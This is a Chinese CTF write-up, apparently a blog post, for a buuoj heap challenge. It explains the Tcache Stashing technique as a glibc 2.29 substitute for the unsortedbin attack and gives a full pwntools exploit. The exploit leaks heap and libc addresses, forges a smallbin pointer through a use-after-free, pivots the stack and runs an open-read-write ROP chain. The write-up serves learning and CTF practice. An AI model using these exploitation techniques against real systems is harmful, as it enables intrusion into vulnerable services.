buuoj [2020 新春红包题]3 2.29下unsortedbin attack的替代方法——Tcache Stashing

IDA分析

seccomp只允许orw
程序没有开启canary,末尾有一个大小为0x10的溢出,可以构造栈迁移,栈迁移可以直接orw, 但是需要条件。
在这里插入图片描述
需要满足这里的backdoor chunk中的部分内容值大小要求。这里的backdoor chunk是程序一开始申请的chunk,我们不能正常写入,看到这里其实可以想到unsortedbin attack。但是程序是glibc2.29,没有unsorted bin attack
允许构造的chunk只能是0x10,0xf0,0x300,0x400
这道题需要一种新的操作:Tcache Stashing
参考文章
https://www.anquanke.com/post/id/198173?display=mobile
这里也简要写一下自己对Tcache stashing的理解。
Tcache stashing本质上完成的事情和unsortedbin attack部分相似。2.29下unsortedbin attack检验了双向链表完整性,不能再使用了。但是Tcache stashing中有这样一部分代码

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);
      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;
          if (av != &main_arena)
            set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
          /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
            {
              mchunkptr tc_victim;
              /* While bin not empty and tcache not full, copy chunks over.  */
              // 在当前tcache没有满,smallbin不空的时候,把相同大小的chunk相继取出。注意:这里没有双向链表完整性检查
              while (tcache->counts[tc_idx] < mp_.tcache_count
                     && (tc_victim = last (bin)) != bin)
                {
                  if (tc_victim != 0)
                    {
                      bck = tc_victim->bk;
                      set_inuse_bit_at_offset (tc_victim, nb);
                      if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                      bin->bk = bck;
                      bck->fd = bin;
                      tcache_put (tc_victim, tc_idx);
                    }
                }
            }
#endif

这道题利用的就是放入tcache的时候没有检查完整性的漏洞。但是要完成这个漏洞的条件也很苛刻。需要满足取出堆块的时候相应大小的tcache不能为空(为了写入bk数据)并且smallbin也不能为空,而且取出chunk的时候还必须从smallbin中取出。这就很矛盾。一般解决的方法有三种

  • 修改tcache中块个数,修改为0个即可
  • 碰到一些特殊函数如calloc,不从tcache中取值
  • 上面博客里的一句话,没看明白
    在这里插入图片描述
    注意tcache中最好有6个chunk,因为不足六个就会继续取出,这样取出来的第三个chunk是不合法的,肯定会报错。因此最好在攻击前就把tcache塞成6个,这样取出最后一个chunk的时候就不会检查前一个chunk是否合法了。
    政事令用上述攻击方法以及UAF,可以写入smallbin中对应的bk,完成攻击。
    这里注意一个关键点,我调试的时候整个人都不好了,就是calloc竟然会在chunk大小小于smallbin的情况下直接从smallbin中取出块分割,将剩下的再放到unsortedbin中,调试了一个多小时啊

exp

from pwn import *
# io = process('./RedPacket_SoEasyPwn1')
io=remote('node4.buuoj.cn',28060)
elf=ELF('./RedPacket_SoEasyPwn1')
libc=ELF('./libc-2.29.so')
context.log_level='debug'
context.arch="amd64"

def add(index,type,content):
    io.recvuntil('Your input:')
    io.sendline(str(1))
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('400):')
    io.sendline(str(type))
    io.recvuntil('content:')
    io.sendline(content)
    io.recvline()

def delete(index):
    io.recvuntil('Your input:')
    io.sendline(str(2))
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvline()

def edit(index,content):
    io.recvuntil('Your input:')
    io.sendline(str(3))
    io.recvuntil('idx:')
    io.sendline(str(index))
    io.recvuntil('content:')
    io.sendline(content)
    io.recvline()

def show(index):
    io.recvuntil('Your input:')
    io.sendline(str(4))
    io.recvuntil('idx:')
    io.sendline(str(index))

# type 1.0x10 2.0xf0 3.0x300 4.0x400

# get libc_addr
add(0,4,'aaaa')
add(1,4,'aaaa')
add(2,4,'aaaa')
add(3,4,'aaaa')
add(4,4,'aaaa')
add(5,4,'aaaa')
add(6,4,'aaaa')
add(7,4,'aaaa')
add(8,1,'prot')#prot
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)

def debug():
    gdb.attach(io,"brva 0x1515")
    add(0,1,'aaaa')

show(6)
heap_info = (u64(io.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0x20)>>8
print "heap_info----->" + hex(heap_info)

heap_base=heap_info-0x0026c0

show(7)
io.recvuntil('\x20')
info = u64(io.recvuntil('\x7f').ljust(8,'\x00'))
print "heap_base----->" + hex(heap_base)
libc_addr = info - 0x1e4ca0
print "libc_addr----->" + hex(libc_addr)
add(0,4,'cnmd')



malloc_hook = libc_addr+libc.sym['__malloc_hook']
free_hook = libc_addr+libc.sym['__free_hook']
clear_addr=libc_addr&0xffffffffffff0000
print "clear_addr----->" + hex(clear_addr)




add(0,2,'aaaa')
add(1,2,'dddd')
add(2,2,'aaaa')
add(3,2,'dddd')
add(4,2,'aaaa')
add(5,2,'dddd')
add(6,1,'prot')


# debug()
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)# why? there must be 6 chunks in the tcache list

add(3,3,'aaaa')#put into tcache



# put two bins into smallbin  #3---->#5
add(0,4,"chunk0")
add(1,1,"chunk1")
delete(0)
add(2,3,"chunk2")#cause
add(3,3,"chunk3")#put

add(4,4,"chunk4")
add(5,4,"chunk5")#calloc will cut chunk from small bin!!!!
delete(4)  
add(6,3,"chunk6")
add(7,3,"flag.txt")
# debug()

payload='a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x3f40)+p64(heap_base+0x250+0x10+0x800-0x10)
# edit(2,p64(0)+p64(heap_base+0x250+0x10+0x800-0x10))# fake chunk5's bk
edit(4,payload)
# debug()
add(6,2,'aaaa')
# debug()




read=libc.sym['read']+libc_addr
open_func=libc.sym['open']+libc_addr
write=libc.sym['write']+libc_addr

# print "read----->" + hex(read)
# debug()
pop_rdi_ret=0x0000000000026542+libc_addr
pop_rsi=0x0000000000026f9e+libc_addr
pop_rdx=0x000000000012bda6+libc_addr

orw=p64(pop_rdi_ret)+p64(heap_base+0x004ba0)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)
orw+=p64(open_func)
orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi)+p64(heap_base+0x260)+p64(pop_rdx)+p64(0x100)
orw+=p64(read)
orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi)+p64(heap_base+0x260)+p64(pop_rdx)+p64(0x100)
orw+=p64(write)


add(0,4,orw)# heap_base+0x004ea0
# debug()



io.sendline(str(666))

#          0x80       rbp
payload='a'*0x80+p64(heap_base+0x004ea0+8)+p64(0x0000000000058373+libc_addr)
io.recvuntil('What do you want to say?')
# gdb.attach(io,"brva 0x144E")
io.send(payload)

io.interactive()

    


总结

这道题学到了calloc的神(wu)奇(yu)操作,以及2.29下替代unsortedbin attack的新思路。还有就是glibc下的orw函数,以前还不知道有这回事。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值